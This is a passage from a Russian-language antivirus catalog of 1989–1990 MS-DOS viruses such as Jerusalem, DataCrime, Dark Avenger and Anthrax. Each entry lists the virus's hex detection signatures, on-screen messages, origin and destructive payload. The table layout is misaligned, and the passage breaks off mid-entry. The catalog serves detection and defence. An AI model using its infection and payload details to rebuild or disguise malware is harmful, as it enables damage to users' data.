"s" на "a" и т.д. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# June16th │ C-879 │ ! │1│ │D │Az Cy Mc │ЮАР: апрель 1990 │ │$ Pretoria, │ │ │ │ │M │4D A9 A5 2E 70 66 2E 57 09 0F │При исполнении зараженной программы вирус │ South Africa │ │ │ │ │C │AC34A5AA4B75F9C3A11F0150A11D01A3 │просматривает все дерево каталогов и зара- │ │ │ │ │ │ │ │жает все имеющиеся COM-файлы. При этом время│ │ │ │ │ │ │ │поиска и заражения достаточно велико, в осо-│ │ │ │ │ │ │ │бенности на системах с жестким диском, когда│ │ │ │ │ │ │ │время загрузки программы становится велико. │ │ │ │ │ │ │ │Каждое 16-е июня уничтожает FAT и главный │ │ │ │ │ │ │ │каталог, записывая в соответствующие сектора│ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│слова ZAPPED │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *$ April First │RC-897 │Ier│1│~│D │Ab │Израиль, Июнь 1987 │ (Первоапрель- │ │ │ │ │I │89263401B419CD2104412EA265032EA2B │При заражении очередного файла вирус выдает │ ский СОМ вирус)│ │ │ │ │+ │103BF6703578BF2807C013A750D8A042E │на экран сообщение │ Suriv101, │ │ │ │ │+ │A265032EA2B103 │ YOU HAVE A VIRUS. │ Suriv01, │ │ │ │ │C │BE8104B900FF81E98104B4DDCD21EB23 │ Первого апреля выдает сообщение │ SURIV 1, │ │ │ │ │T │sURIV 1.01 │ HA HA HA IT'S APRIL 1ST - YOU HAVE A VIRUS.│ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│и вызывает зависание системы, требующее хо- │ │ │ │ │ │ │ │лодной перезагрузки (с помощью клавиши RESET│ │ │ │ │ │ │ │или выключение питания) │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# VP │ C-913 │ │1│ │D │Cy Ic │Великобритания: май 1990 │ │ │ │ │ │ │M1│45 03 EB 18 08 65 56 50 │Весьма странный вирус, который иногда при │ │ │ │ │ │ │M2│21 89 1E 22 03 8C 06 24 03 B4 │заражении файла начинает выдавать на экран │ │ │ │ │ │его содержимое (следы отладки ?), │ │ │ │ │пытается запустить его на счет. В │ │ │ │ │в начале файла имеется строка M1 │ │ │ │ │ │ │ а иногда │ │ │ конце и │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ * Devil dance │ RC-941 │ │ │ │D │Az Km │Мексика(Мехико): декабрь 1989, Mao Fragoso │ (Танец дьявола)│ │ │ │ │M1│ 1E 06 8C C0 48 8E C0 26 │После того как вирус стал резидентным │ │ │ │ │ │M2│5E 1E 06 8C C0 48 8E C0 26 │попытка выполнить теплую перезагрузку при- │ │ │ │ │ │C │ 1E 06 8C C0 48 8E C0 26 │водит к выдаче на экран сообщения │ │ │ │ │ │ │ │"DID YOU EVER DANCE WITH THE DEVIL │ │ │ │ │ │ │ │ IN THE WEAK MOONLIGHT? │ │ │ │ │ │ │ │ PRAY FOR YOUR DISKS!! │ │ │ │ │ │ │ │ The Joker" │ │ │ │ │ │ │ │После первых 2000 нажатий на клавиши вирус │ │ │ │ │ │ │ │начинает изменять цвет вводимого текста на │ │ │ │ │ │ │ │экране монитора, а после 5000 нажатий │ │ │ │ │ │ │ │уничтожает первую копию FAT. Попытка пере- │ │ │ │ │ │ │ │загрузки начиная с этого момента помимо вы- │ │ │ │ │ │ │ │дачи приведенного выше сообщения ведет к │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│уничтожению первой копии FAT. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# 1008 │RC-01008 │ │1│ │D │Co Ml Zeh │США, июнь 1990. │ │ │ │ │ │ │ │ │Заражает только файл COMMAND.COM. Маскирует │ │ │ │ │ │ │ │увеличение длины на зараженной машине. │ │ │ │ │ │ │ │Возможны зависания системы при загрузке или │ │ │ │ │ │ │ │выдача ошибки "internal stack error" │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Fellowship │RE-1022 │ │1│ │D │Itp Pt Se │Австралия: июль 1990 │ │ (Товарищество), │ │ │ │ │M │D2 74 01 40 89 44 04 89 54 02 │Инфицированные файлы содержат в конце текс- │ │ 1022 │ │ │ │ │T1│This message is dedicated to │товые строки T1-T5 │ │ │ │ │ │ │T2│all fellow PC users on Earth │ │ │ │ │ │ │ │T3│Toward A Better Tomorrow │ │ │ │ │ │ │ │T4│And a better Place To Live In │ │ │ │ │ │ │ │T5│03/03/90 KV KL MAL │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# V1024, │RCE-1024 │DAv│1│<│D │Cn Se Ml │Болгария: май 1990 │ │ Dark Avenger III│ │ │ │ │DR│h 1072 │Ранняя версия RCE-2000, хотя │ │ │ │ │ │ │DP│1024 < LenCE │обнаружена позднее. При запуске инфицирован-│ │ │ │ │ │M │2B C8 75 ED 8B D1 B8 00 42 CD 21 │ной программы вирус инсталлируется в и про- │ │ │ │ │ │T │7106286813 │веряет ряд прерываний, включая 1 и 3. Если │ │ │ │ │ │ │ │последние перехвачены, то вирус дает выпол- │ │ │ │ │ │ │ │ниться программе-носителю, а при выполнении │ │ │ │ │ │ │ │следующей программы подвешивает систему. │ │ │ │ │ │ │ │Вирус переносит несколько прерываний в стар-│ │ │ │ │ │ │ │шие адреса и использует их в дальнейшем. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Anthrax │RCEP-1040 │ │1│ │D │Co Ml │Нидерланды, июнь 1990. │ │ │ │ │ │ │M │75 ED 06 1E 07 1F 32 F6 B9 02 00 33 │При запуске зараженной программы на компью- │ │ │ │ │ │ │ │тере с винчестером заражется MBR и становит-│ │ │ │ │ │ │ │ся резидентным. Затем вирус не сразу начина-│ │ │ │ │ │ │ │ет заражать программы, а ждет наступления │ │ │ │ │ │ │ │некоторого события, возможно, определнного │ │ │ │ │ │ │ │количества вводов с клавиатуры. После этого │ │ │ │ │ │ │ │заражаются по одной программе, каждый раз │ │ │ │ │ │ │ │когда та или иная программа запускается на │ │ │ │ │ │ │ │выполнение. Жертва ищется по дереву катало- │ │ │ │ │ │ │ │гов диска С. Приращение варьируется от 1040 │ │ │ │ │ │ │ │до 1232 байт. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Armageron │ RC-1079 │ │1│ │D │Se │Греция (Афины): июнь 1990, George Spiliotis │ │ │ │ │ │ │M │B8 00 43 CD 21 2E 89 0E 48 01 │При запуске зараженной программы вирус │ Armagedon │ │ │ │ │ │ │инсталлируется и заражает исполняемые файлы │ The First, │ │ │ │ │ │ │Периодически посылает на порты COM1-COM4 │ │ │ │ │ │ │ │текстовую строку "Armagedon the GREEK". │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│С 5:00 до 7:00 делает попытки использовать │ │ │ │ │ │ │ │COM-порт для телефонного вызова по определ. │ │ │ │ │ │ │ │номеру. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *# 1168/DataCrime│ С-1168 │Dcr│3│~│D │Ac Mc │Голландия, апрель 1989. │ $ DataCrime A │ │!!!│ │ │M1│EB 00 B4 0E CD 21 B4 │Размножается с апреля по октябрь (с января │ (Дейтакрайм), │ │ │ │ │M2│36 01 01 83 EE 03 8B C6 3D 00 │по 1 апреля вирус "впадает в спячку"). │ Columbus Day │ │ │ │ │I │8B36010183EE038BC63D00007503E9FE00 │Фаза проявления наступает 13 октября и │ (День Колумба) │ │ │ │ │ +│1114011416071C181075031C0700065F580710 │продолжается по 31 декабря В этот период │ October 13 │ │ │ │ │ +│1910140610116F756475181407161D75646C6D │при запуске зараженной программы вирус │ (13 октября) │ │ │ │ │ +│6C5F58 │выдает сообщение │ │ │ │ │ │C │B402CD2143FEC975F1BBAD01B500BA80 │ "DATACRIME VIRUS" │ │ │ │ │ │ │ │ "RELEASED: 1 MARCH 1989". │ │ │ │ │ │ │ │затем уничтожает первые 8 треков дисков А:, │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│B:, C и D: см. также штаммы С-1280 и CE-1514│ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# July 13TH │ E-1201 │ │2│ │D │Ip │Испания (Мадрид): июль 1990, │ │ │ │ │ │ │DP│1201 < LenE │Guillermo Gonzalez Garcia. │ │ │ │ │ │ │M │12 00 B9 B1 04 2E 30 04 46 E2 │Файловый вирус демонстрирующий 13 июля любо-│ │ │ │ │ │ │ │го года эффект движущегося шарика, заимство-│ │ │ │ │ │ │ │ванный из бутового вируса Bx1-1C(Ping-pong) │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# 1210, │RE-1210 │ ! │1│ │D │Aci Se │Испания(Барселона), декабрь 1989. │ │ Prudents Virus│ │ │ │ │DR│t │Вирус активируется между 1 и 4 Мая любого │ │ │ │ │ │M │C4 74 F0 2E 80 3E 2F 04 01 75 │года и заменяет операцию записи на диск на │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│операцию верификации. Таким образом в ука- │ │ │ │ │ │ │ │занном периоде запись на диск блокируется. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# 1226 │RC-1226a │!!!│1│<│D │Ab Cn Km Mac Se Zvh │Болгария, июль 1990 │ │ │ │ │ │ │DP│1226 < LenC │Тело вируса зашифровано и зараженные прог- │ │ │ │ │ │ │M │8B 36 6E 33 37 6F 54 02 36 6E 33 36 6E 22 │раммы нельзя выявить простым контекстным │ │ │ │ │ │ │ +│39 6E F8 36 6E 31 36 6E 22 │поиском. Вирус содержит ошибки из-за кото- │ │ │ │ │ │ │ │ │рых вместо выполнения программы выдает на │ │ │ │ │ │ │ │ │экран случайную последовательность символов │ │ │ │ │ │ │ │Имеется ряд версии в которых ошибки исправ- │ │ │ │ │ │ │ │лены (см.RC-1226D). │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# 1226D │RC-1226d │!!!│1│<│D │Ab Cn Km Mac Seo Zvh │Болгария, июль 1990 │ │ │ │ │ │ │DP│1226 < LenC │Штамм с исправленными ошибками, заражающий │ │ │ │ │ │ │M │8B 36 6E 33 37 6F 54 02 36 6E 33 36 6E 22 │программы не только при выполнениии, но и │ │ │ │ │ │ +│39 6E F8 36 6E 31 36 6E 22 │при открытии файлов с расширением СОМ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# VirDem │R-1236 │Ven│1│~│D │Bt Itp Sm │Западная Германия: 1986,1987 │ │ (Демовирус) │ │ │ │ │ │ │Использовался Ральфом Бургером (Ralf Burger)│ │ │ │ │ │ │T1│VirDem Ver.: 1.06 (Generation #) aktive. │в качестве демопрограммы для ознакомления │ │ │ │ │ │ │T2│Copyright by R.Burger 1986,1987 │пользователей с функционированием компьютер-│ │ │ │ │ │ │T3│Phone.: D - xxxxx/xxxx │ных вирусов. Заражает только файлы на диске │ │ │ │ │ │ │ │ │A. Зараженные файлы, имевшие до заважения │ │ │ │ │ │ │T4│This is a demoprogram for │длину меньше 1500 байт будут иметь после за-│ │ │ │ │ │T5│computerviruses. Please put in a │ражения длину 2516, а больше 1500 увеличи- │ │ │ │ │ │ +│number now. │ваются в длине примерно на 1236 байт. При │ │ │ │ │ │T6│If you're right, you'll be │выполнении вирусоносителя вирус ищет жертву │ │ │ │ │ │ +│able to continue. │пропуская первый файл в корневом каталоге. │ │ │ │ │ │T7│The number is between 0 and # │Поэтому обычно вирус не заражает COMMAND.COM│ │ │ │ │ │ │ │После заражения вирус предлагает пользовате-│ │ │ │ │ │T8│Sorry, you're wrong │лю поиграть в своеобразную игру задавая │ │ │ │ │ │T9│More luck at next try .... │вопрос и предлагая отгадать ответ. Если от- │ │ │ │ │ │ │ │вет верен то выполняется программа вирусо- │ │ │ │ │ │ │ │носитель,если нет то выдаются сообщения T8, │ │ │ │ │ │ │ │T9 и программа опять ждет ответа пользователя │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# 1253, │RCP-1253 │!!!│1│<│D │Az Cу K1 Ml Se │Австрия, август 1990 │ │ V-1, │ │ │ │ │DP│1226 < LenC │Первый известный "файлово-бутовый" вирус. │ │ AntiCad │ │ │ │ │T │V-1 │заражает как COM-файлы, так и таблицу раз- │ │ │ │ │ │DR│tl 2128 │делов. При выполнении вирусоносителя инстал-│ │ │ │ │ │HR│08,13,21,60 │лируется в память и сразу же пытается зара- │ │ │ │ │ │M │E4 CD 13 33 DB 2E 8A 36 20 7D 2E 8A │зить MBR винчестера. Бутсектор дискет при │ │ │ │ │ │ │ │при резидентном вирусе заражается при первом│ │ │ │ │ │ │ │же обращении. По видимому перезаписывает │ │ │ │ │ │ │ │содержимое дисков │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *# 1260 │ C-1260v │Ven│1│ │D │Cy Ds31 Mac Spl │США(Миннесота), январь 1990. │ │ │ │ │ │ │ │Штамм C-648.Изменяет в элементе каталога се-│ │ │ │ │ │ │ │кунды времени создания файла на 31, исполь- │ │ │ │ │ │ │ │зуя это значение для идентификации заражения│ │ │ │ │ │ │ │Жертвы ищет по PATH. Тело вируса шифруется │ │ │ │ │ │ │ │и инсталлятор меняется случайным образом, │ │ │ │ │ │ │ │делая невозможным использование для поиска │ │ │ │ │ │ │ │зараженных файлов контекстного поиска. │ │ │ │ │ │F │CLEAR │Способен размножаться в локальной сети,зара-│ │ │ │ │ │ │ │жая как файл-сервер, так и рабочие станции. │ │ │ │ │ │ │ │ │ v66+ (СП 7-90) ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ * 1280, │ C-1280 │Dcr│3│<│D │Af Cn Li Mc │Штамм вируса Datacrime │ * Datacrime-2 │ │!!!│ │ │M1│56 8D B4 30 05 CD 21 │ │ (Дейтакрайм-2),│ │ │ │ │M2│8A 94 03 01 8D BC 29 01 8D 8C EA 06 │ │ $ Datacrime-B │ │ │ │ │I │8A9403018DBC29018D8CEA065E81EE030183 │ │ (Дейтакрайм-Б),│ │ │ │ │H │1114011416071C181075031C0700065F580710 │ │ Columbus Day │ │ │ │ │+ │1910140610116F756475181407161D75646C6D │ │ (День Колумба) │ │ │ │ │+ │6C5F58 │ │ October 13 │ │ │ │ │C │B402CD2143FEC975F1BBB101B500BA80 │ │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *# Sylvia/Holland│ RC-1332 │ │1│ │D │Ak Сn Ba │Нидерланды: декабрь 1989, Jan Terpstra │ │ -1301? │ │ │ │M │36 03 01 33 C9 33 C0 AC │Вирус изменяет текущий каталог на каталог │ Sylvia virus, │ │ │ │ │ │ │C:\. Заражает все файлы в главном каталоге │ (Сильвия) │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│диска С, текущего каталога и исполняемые │ Holland Girl │ │ │ │ │ │ │файлы. Некоторые из файлов уничтожаются и на│ (Голланская │ │ │ │ │ │ │их месте остается только тело вируса. │ девушка) │ │ │ │ │ │ │Cодержит имя девушки, ее адрес и просьбу │ Netherlands Girl│ │ │ │ │ │ │послать ей поздравительную открытку в обмен │ │ │ │ │ │ │ │на которую вам якобы будет выслан антивирус │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# 1381 │США, июнь 1990. │ E-1381 │!!!│1│ │D │Itx Sf │ │ │ │ │ │DP│1300 < LenE │По видимому, имитирует сбой оборудования, │ │ │ │ │ │M │C8 8E D8 B8 40 00 8E C0 FC E8 58 04 80 3E │выдавая сообщения T1-T3 │ │ │ │ │ │T1│INTERNAL ERROR 02CH. │ │ │ │ │ │ │T2│PLEASE CONTACT YOUR HARDWARE MANUFACTURER │ │ │ │ │ │ │+ │ IMMEDIATELY ! │ │ │ │ │ │ │T3│DO NOT FORGET TO REPORT THE ERROR CODE !" │ │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# 1392, │RCE-1392 │ │1│ │D │Bx Cy Di │Индонезия, март 1990. │ │ Amoeba │ │ │ │ │DR│t │Деструктивные действия отсутствуют │ │ │ │ │ │M1│A3 21 01 8B 44 14 A3 23 01 │ │ │ │ │ │ │M2│16 A3 21 01 8B 44 14 A3 23 01 . │ │ │ │ │ │ │C │A3 21 01 8B 44 14 A3 23 01 │ │ │ │ │ │ │T │SMA KHETAPUNK - Nouvel Band A.M.O.E.B.A. │ │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ * Suriv02 │RE-1488a │Ier│1│~│D │K1 │Израиль, конец 1987 - начало 1988 г. │ (Сурив-02), │ │ │ │ │M │73 55 52 49 56 00 32 - штамм D │Аналогичен RC-897, однако поражает только │ $ April 1st D │ │ │ │ │C │8B1E25000BDB7413B90080F3A5050010 │EXE-файлы. Кроме того вирус вызывает зависа-│ (ПервоапрельскийD│ │ │ │ │I │2EA31700BB17000E1FB4DECD21B42ACD2 │ние системы без выдачи сообщения через час │ Jerusalem virus │ │ │ │ │+ │181FA0104742281F9BC077506E8C504 │после своей инсталляции в память, если на │ version D, │ │ │ │ │ │ │компьютере установлена дата 01.01.80 │ (Иерусалимский │ │ │ │ │ │ │Имеется штамм с незначительными отличиями в │ вирус версии D │ │ │ │ │ │ │в первых 16 байтах (см. RC-1488B). │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ * Suriv03 │RE-1488b │Ier│2│ │D │ │Израиль, конец 1987 - начало 1988 г. │ (Сурив-03), │ │ │ │ │M │ 73555249560033 - штамм E │Штамм RC-1488A, назначительно отличающийся │ $ April 1st D │ │первыми 16 байтами (ПервоапрельскийD│ │ Jerusalem virus │ │ version E, │ │ (Иерусалимский │ │ вирус версии Е)│ │ │ │ │ │ │ │ │ │ │ │ │ │T │sURIV 3.0 │ │ │ │F │CLEAR v66+ (СП 7-90) │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │* Subliminal 1.10│RC-1496 │Sol│1│ │D │Cy Itc Se │США(Калифорния): май 1990, Jay Parangalan │ │ │ │ │ │ │M │8B 3E 25 01 8B D7 2E 8E 06 27 │Ранняя версия RC-2000. │ │ │ │ │ │ │ │ │Имя вируса получено путем выполнения опера- │ │ │ │ │ │ │ │ │ции XOR FFh над группами байт, заканчиваю- │ │ │ │ │ │ │ │щихся нулем. При резидентном вирусе монитор │ │ │ │ │ │ │ │начинает мигать. Это связано с тем, что ви│ │ │ │ │ │ │рус выдает сообщение "LOVE, REMEMBER?" в ле-│ │ │ │ │ │ │ │вом нижнем углу экрана в течении очень мало-│ │ │ │ │ │ │ │го промежутка времени. Конкретное время на- │ │ │ │ │ │ │ │хождения надписи на экране зависит от ско- │ │ │ │ │ │ │ │рости центрального процессора │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ * DatacrimeII │ CE-1514 │Dcr│3│<│D │Afk Bt Cу Li Mc │Голландия, сентябрь 1989. │ (ДейтакраймII),│ │!!!│ │ │M │2E8A0732C2D0CA2E │Более позний штамм С-1168 │ $ DataCrime C │ │ │ │ │T │ (* сообщения перекодированы и в дампе │С 1 января по 12 октября вирус только раз- │ (Датакрайм С), │ │ │ │ │ │ не видны *) │жается, заражая файлы размером до 60К только│ DataCrime II-A,│ │ │ │ │C │2E8A072EC6052232C2D0CA2E8807432E │на дисках A,B,C. При выполнении зараженного │ Columbus Day │ │ │ │ │H │7F751114011416071C1810751C1C7503 │файла вирус просматривает каталоги на дисках│ (День Колумба),│ │ │ │ │+ │1C070006757F5F58 │A, B, C и заражает первый подходящий файл. │ October 13 │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│С 12 октября по 31 декабря при исполнении │ (13 октября) │ │ │ │ │ │ │зараженного файла вирус выдает на экран │ │ │ │ │ │ │ │сообщение │ │ │ │ │ │ │ ┌───────────────────────────────┐ │ │ │ │ │ │ │ │ 1 MARCH 1989, DATACRIME VIRUS │ │ │ │ │ │ │ │ └───────────────────────────────┘ │ │ │ │ │ │ │затем форматирует первую дорожку винчестера │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ * 1536, │RCE-1536 │ │1│ │D │Av Cn Li Ml Se │10.88 │ $ Zero Bug, │ │ │ │ │M │EB 2B 90 5A 45 CD 60 2E │Заражает файлы при запуске на выполнение │ Pallete, │ │ │ │ │C │35B060CD21BB000126817F035A4574C0 │Через некоторое время на экране появляется │ Agiplan │ │ │ │ │ │ │"жучок", который начинает поедать все имеющ-│ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│щиеся на экране символы "0"(нуль). │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# XA1, │ C-1539 │ │1│ │D │Az Bv Cy Li Mc │ФРГ: апрель 1990. │ │$ Christmas Tree│ │ │ │ │M │FA 8B EC 58 32 C0 89 46 02 81 │1 апреля разрушает FAT. C 24 декабря по │ │ virus │ │ │ │ │C │FA8BEC5832C08946028146002800B9CE │1 января выдает на экран рисунок новогодней │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│елки │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │# 1554, │RCE-1554 │ │1│ │D │Ack Bv Cy Itp-tp Li Mc Se Zht │США: февраль 1990. │ │* 1559, │ │ │ │ │DP│1000 < LenC 1024 < LenE │Длина заражаемого файла увеличивается на │ │ Ten bytes │ │ │ │ │DR│t │1554-1559 байт. Вирус активируется в период │ (10 байт), │ │ │ │ │M │26 89 1E 92 00 FB C3 50 53 51 52 06 │с сентября по декабрь любого года. В этот │ 9800:0000 virus,│ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│период в любом записываемом файле будут от- │ V-alert │ │ │ │ │ │ │сутствовать первые 10 байт, а в конец файла │ │ │ │ │ │ │ │будут дописаны 10 байтов "мусора". Портит │ │ │ │ │ │ │ │как программы, так и данные. │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*$ Alabama │RE-1560 │!!!│1│ │D │Ac Cn Li │Израиль(Иерусалим):октябрь 1989,Ysrael Radai│ │ (Алабама) │ │ │ │ │M │8F 06 18 05 26 8F 06 1A │Записывает свое тело в память по адресу на │ │ │ │ │ │C │E800005E81EE2901B968058EC5BB │30K меньше, чем размер памяти, сообщаемый MS│ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│DOS (перед транзитной частью COMMAND.COM) │ │ │ │ │ │ │ │Перехватывает прерывание от клавиатуры(09h),│ │ │ │ │ │ │ │отcлеживая CTRL-ALT-DEL и оставаясь в памяти│ │ │ │ │ │ │ │при мягкой презагрузке (!!!). │ │ │ │ │ │ │ │Через час после инсталляции выдает сообщение│ │ │ │ │ │ │ │SOFTWARE COPIES PROHIBITED BY INTERNATIONAL │ │ │ │ │ │ │ │LAW Box 1055 Tuscambia ALABAMA USA. │ │ │ │ │ │ │ │При запуске файла на выполнение заражает │ │ │ │ │ │ │ │первый подходящий файл в текущем каталоге, а│ │ │ │ │ │ │ │если такового не окажется, то заражается │ │ │ │ │ │ │ │исполняемый файл. По пятницам вместо зараже-│ │ │ │ │ │ │ │ния вирус "тасует имена" заражаемого и │ │ │ │ │ │ │ │исполняемого файлов т.е. после этого вместо │ │ │ │ │ │ │ │вызванной программы начинает выполняться │ │ │ │ │ │ │ │другая, с которой произошел обмен имен │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *# MIX1/Icelandic│RE-1618 │Ice│2│ │D │ Cn Itp │Исландия: март 1989, Израиль: август 1989 │ (Смесь1/Ислан- │ -1615 ? │ │ │ │DP│ 8K < LenE │При резидентном вирусе NumLock всегда вклю- │ ский) │ -1635 ? │ │ │ │M │43 81 3F 45 58 75 F1 B8 00 43 │чен, а байт 0:33С содержит 77h. │ $ MIXER 1 │ │ │ │ │C │0E1FB95206FCF3A406B8880050CB2EC6 │Заменяет символы в информации, передаваемой │ │ │ │ │ │T │MIX1 /* последние 4 байта */ │через последовательный или паралельный порт │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│("A" вместо "T", "[" вместо "]" и т.д.) В │ │ │ │ │ │ │ │конце инфицированной программы имеется │ │ │ │ │ │ │ │строка MIX1. Вирус уменьшает количество па- │ │ │ │ │ │ │ │мяти, сообщаемой DOS на 2K. После инфициро- │ │ │ │ │ │ │ │вания 6 файлов последующая перезагрузка │ │ │ │ │ │ │ │приводит к зависанию системы из-за ошибки в │ │ │ │ │ │ │ │коде вируса и мячик начинает двигаться по │ │ │ │ │ │ │ │экрану │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# JoJo │ RC-1701j │ │ │ │D │Aa Itc Se Rw │Израиль: май 1990 │ │ │ │ │ │ │M │4D 2B D0 4A 45 03 E8 45 8E C5 │Хотя данный вирус имеет длину 1701 │ │ │ │ │ │ │T1│Welcome to the JOJO Virus. │он не связан с группой Cascade. При выполне-│ │ │ │ │ │ │T2│Fuck the system (c) - 1990 │нии зараженного данным вирусом файла вирус │ │ │ │ │ │ │ │ │инсталлируется в оперативной памяти, при│ │ │ │ │ │ │ │ │соединяясь к резидентной части COMMAND.COM. │ │ │ │ │ │ │ │При этом для MS DOS 3.3 ееразмер возрастает │ │ │ │ │ │ │ │с 3536 до 5504 байт. Один блок размером 48 │ │ │ │ │ │ │ │байт резервируется обычным образом. Общее │ │ │ │ │ │ │ │уменьшение оперативной памяти составляет │ │ │ │ │ │ │ │2048 байт. Вирус не инфицирует другие файлы,│ │ │ │ │ │ │ │если прерывание 13 уже перехвачено. Вместо │ │ │ │ │ │ │ │этого он очищает экран и подвешивает систе- │ │ │ │ │ │ │ │му. Вирус "выживает" при теплой перезагруз- │ │ │ │ │ │ │ │ке и успевает перехватить 13 прерывание. │ │ │ │ │ │ │ │ Как только вирусу удается перехватить 13│ │ │ │ │ │ │ │прерывание он начинает заражать каждый вы- │ │ │ │ │ │ │ │полняемый файл. │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# V1701New │RC-1701n │P1 │1│<│D │Co Itc Km Macl Smeo │Болгария: июль 1990 │ │ P1 │ │ │ │ │DR│h 8192 │Самая совершенный штамм группы P1. │ │ │ │ │ │ │HR│2A │При заражении COMMAND.COM не меняет длину │ │ │ │ │ │ │ │ │программы. При попытке выполнения CHKDSK на │ │ │ │ │ │ │ │ │зараженной машине выполняется теплая переза-│ │ │ │ │ │ │ │ │грузка системы, хотя вирус не выживает при │ │ │ │ │ │ │ │перезагрузке. В отличие от RC-1704p заража-│ │ │ │ │ │ │ │ет файлы и при открытии. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Slow │ RCE-1701 │Ier│1│ │D │Cn So To │Австралия: май 1990 │ │ │ │ │ │ │DR│2K │Штамм иерусалимского вируса. │ │ │ │ │ │ │M │81 C6 1B 00 B9 90 06 2E 80 34 │При заражении EXE-файлов возможны зависание │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ * Cascade-B │RC-1704b │Cas│1│ │D │An Bav Cy Dn Es Itc Jx K1 Li Mc Se Zar │Штамм 